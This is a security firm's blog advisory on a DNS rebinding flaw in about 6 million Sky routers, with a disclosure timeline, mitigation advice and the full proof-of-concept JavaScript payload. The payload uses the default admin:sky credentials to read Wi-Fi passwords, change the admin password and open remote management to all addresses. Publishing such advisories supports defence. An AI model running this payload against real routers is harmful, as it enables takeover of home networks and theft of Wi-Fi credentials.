Blog: Vulnerability Advisory

SkyFail. 6 million routers left exposed

Rafael Fini 19 Nov 2021

Sky broadband had a significant security flaw in around 6 million of their customer routers that would allow remote compromise of home networks. When informed about it, they took nearly 18 months to fully fix the problem.

TL;DR

  • Around 6 million Sky routers were vulnerable to a DNS rebinding vulnerability that allowed a customer’s home network to be compromised from the internet.
  • It affected users with the default router’s admin password (admin:sky), which was the case for a high percentage of routers. Brute force of non-default creds was also possible.
  • Vulnerable users could have their home network exposed to the internet, allowing direct access to computers and devices.
  • The attack happened when a user clicks on a malicious link or visited a malicious website.
  • Sky did not prioritise fixing the issue, taking nearly 18 months to fully resolve it, failing to meet numerous deadlines they set themselves
  • Despite having a published vulnerability disclosure programme, Sky’s communications were particularly poor and had to be chased multiple times for responses. Only after we had involved a trusted journalist was the remediation programme accelerated.

Introduction

DNS rebinding is a technique that allows an attacker to bypass the Same-origin policy, a defence implemented in web browsers to prevent web applications interacting with different domains without the user’s consent.

This can be exploited when a user visits a malicious web page under the control of the attacker.

In this scenario, the attacker has control of an HTTP and DNS server and the attack proceeds as follows:

  • The victim browses to the malicious website, i.e. example.com.
  • This website contains an iframe, which requests data from a subdomain controlled by the attacker, i.e. example.com.
  • In the initial requests to sub.example.com, the malicious DNS server responds with the correct IP address of the malicious server, and a JavaScript payload is loaded in the iframe.
  • The payload performs consecutive HTTP requests to the server. After few seconds, the malicious HTTP server stops responding to these requests.
  • The browser then reinitiates connection to the domain and another DNS request is sent. This time, the malicious DNS server replies with the target’s IP address, in this case, the router attached to the clients internal network.
  • The victim’s browser establishes a connection with the router.

As a result, the browser now treats the router’s IP address (192.168.0.1) as being the IP of sub.malicious.com, giving the iframe control over the router.

These are the steps:

How did it affect Sky routers?

After the connection from the JavaScript payload to the target router was established, the attacker could communicate with the internal web server and could make requests that would change settings in the same way that would normally happen from a clients web browser.

A proof-of-concept payload was crafted, and performed the following actions:

  • Logged in as administrator with default credentials. User: admin – Password: sky
  • Changed the admin password (necessary to enable remote management)
  • Collected and displayed the SSID name and WPA2 password
  • Enabled remote management.

With remote management enabled, the attacker could connect directly to the router’s web application and modify any settings, such as setup up a DMZ server or configure port forwarding, exposing the internal home network to the internet.

Affected models: Sky Hub 3, 3.5 and Booster 3 (ER110, ER115, EE120) Sky Hub 2 and booster 2 (SR102, SB601) Sky Hub (SR101).

The Sky Hub 4 and Booster 4 (SR203, SE210) were also affected by the DNS rebinding vulnerability, however, every device comes with a random administrator password, limiting the ease of attack as the password must be brute forced.

Recommendations

A key factor that allowed the routers to be automatically taken over using the DNS rebinding vulnerability was the default credentials used by most versions of the Sky devices. Although a brute force attack could be used to discover non-default passwords, a custom password would significantly decrease the chances of a successful attack. Few customers change their router admin passwords from the default.

We recommend that customers change the administrator password for the router web interface to mitigate this vulnerability. It is also recommended to change the network name and Wi-Fi passwords. These should be long and contain lower and upper case characters, numbers and special characters.

The routers involved have finally been patched by Sky. Their customer devices are updated automatically, though customers can check to ensure their devices are running the latest version available.

Disclosure timeline

  • First report from us: 11th May 2020. Quickly acknowledged by Sky.
  • Request for clarification by Sky a couple of days later. We helped them with a proof of concept.
  • We chased for an update after 90 days. Sky stated they would push the updates in November 2020. This seemed slow, but we felt this was fair, given the Coronavirus lockdown.
  • 9th November 2020, we chased for an update. Sky said they had moved the fix to early December.
  • 12th December we chased again. Sky now had an Xmas change freeze. ‘Early 2021’ was stated as the new timeframe.
  • 29th January 2021: we chased again. Now they said that half the routers would be patched in April, the other half in May.
  • 6th May 2021, we chased again. The first 50% had finally been patched. We had to chase to discover this though.
  • 17th May, we chased again for an update on the remaining 50%. ‘We hope to complete these in the summer’
  • 6th August, we asked the BBC to contact Sky in an attempt to convince Sky to accelerate the update programme.
  • 22nd October, Sky emailed to say that 99% of all routers had been updated. 17 months and 11 days since initial disclosure

Why didn’t we disclose the vulnerability after 90 days?

Initial disclosure was during the first Coronavirus lockdown. ISPs were dealing with challenges from vastly increased network loading as working from home became the new norm. We didn’t want to do anything to limit the ability of people to work from home.

The target date of November 2020 seemed fair, given the above challenge. Only from December did we start to get concerned about the ‘ever sliding’ patch programme. It seemed to us that Sky did not give the patch the priority their customers deserved.

We could have published the vulnerability in an attempt to push Sky in to faster patching. However, this issue was easy to exploit and would expose millions of Sky customers. Ethically, we couldn’t publish.

Instead, we chose to involve a trusted journalist to apply more pressure to Sky to accelerate the fixes.

Payload code

The proof-of-concept used the Singularity tool as a base. The payload code is shown below:

const RemoteManagement= () => {

    function attack(headers, cookie, body) {
        if (headers !== null) {
            console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
        };
        if (cookie !== null) {
            console.log(`Origin: ${window.location} headers: ${cookie}`);
        };
        console.log('Function attack from RemoteManagement() called');

//Obtain ESSID and Wi-Fi Password
        fetch('/sky_wireless_settings.html' , {
        method: 'GET',
        headers: {'Authorization': 'Basic YWRtaW46c2t5'} })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            let wifiEssid = d.substring( d.search('sky_ssid') + 11 ,  d.indexOf(";", d.search('sky_ssid') ) );
            let wifiPassword = d.substring( d.search('wpaPskKey') + 12 ,  d.indexOf(";", d.search('wpaPskKey ') ) );
            document.getElementById("skyessid").innerText = `Wi-Fi ESSID: ${wifiEssid}`;
            document.getElementById("skypassword").innerText = `Wi-Fi Password: ${wifiPassword}`;
        })

//Change admin password
        fetch("/sky_set_password.html", {
          "headers": {
            "authorization": "Basic YWRtaW46c2t5",
          },
          "body": null,
          "method": "GET",
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            let sessionKey = d.substring( d.search('sessionKey" value=') + 19 ,  d.indexOf('" type=', d.search('sessionKey') ) );
        fetch("/sky_password.scgi", {
            "method": "POST",
            "headers": {
                "authorization": "Basic YWRtaW46c2t5",
              },
             "body": `inOrgPassword=sky&inPassword=[PASSWD]&inConfirmPasswd=[PASSWD]&sessionIdleTimeout=5&inUserName=admin&sessionKey=${sessionKey}&todo=save_passwd&this_file=sky_set_password.html&next_file=sky_set_password.html`,
             "mode": "cors",
        });         
            document.getElementById("skypasswordchange").innerHTML = '<br>Password has been changed';
        })
        
        //Enable remote management
        fetch("/sky_remote_management.html", {
          "headers": {
            "authorization": "Basic [BASE64_PASSWD]",
          },
          "body": null,
          "method": "GET",
        })
        .then(function (response) {
            return response.text()
       })
        .then(function (d) {
            let sessionKey = d.substring( d.search('sessionKey" value=') + 19 ,  d.indexOf('" type=', d.search('sessionKey') ) );
            fetch("/sky_remote_management.cgi", {
              "method": "POST",
              "headers": {
                "authorization": "Basic [BASE64_PASSWD]",
              },
              "body": `remote_mg=remote_mg&rm_access=all&rmv6_access=all&remote_port=8080&todo=save&sessionKey=${sessionKey}&this_file=sky_remote_management.html&next_file=sky_remote_management.html&h_remote_mg=enable&c4_rm_ip=0.0.0.0&c4_rm_start_ip=0.0.0.0&c4_rm_finish_ip=0.0.0.0&h_rm_access=all&h_rmv6_access=all&h_rm_ipv6=%3A%3A1&h_rm_ipv6_start=%3A%3A1&h_rm_ipv6_end=%3A%3A1`,
            });            
            document.getElementById("skymessage").innerHTML = 'Remote Management has been turned on.';
        })

    }

    async function isService(headers, cookie, body) {

        return false;
    }

    return {

        attack,

        isService

    }

}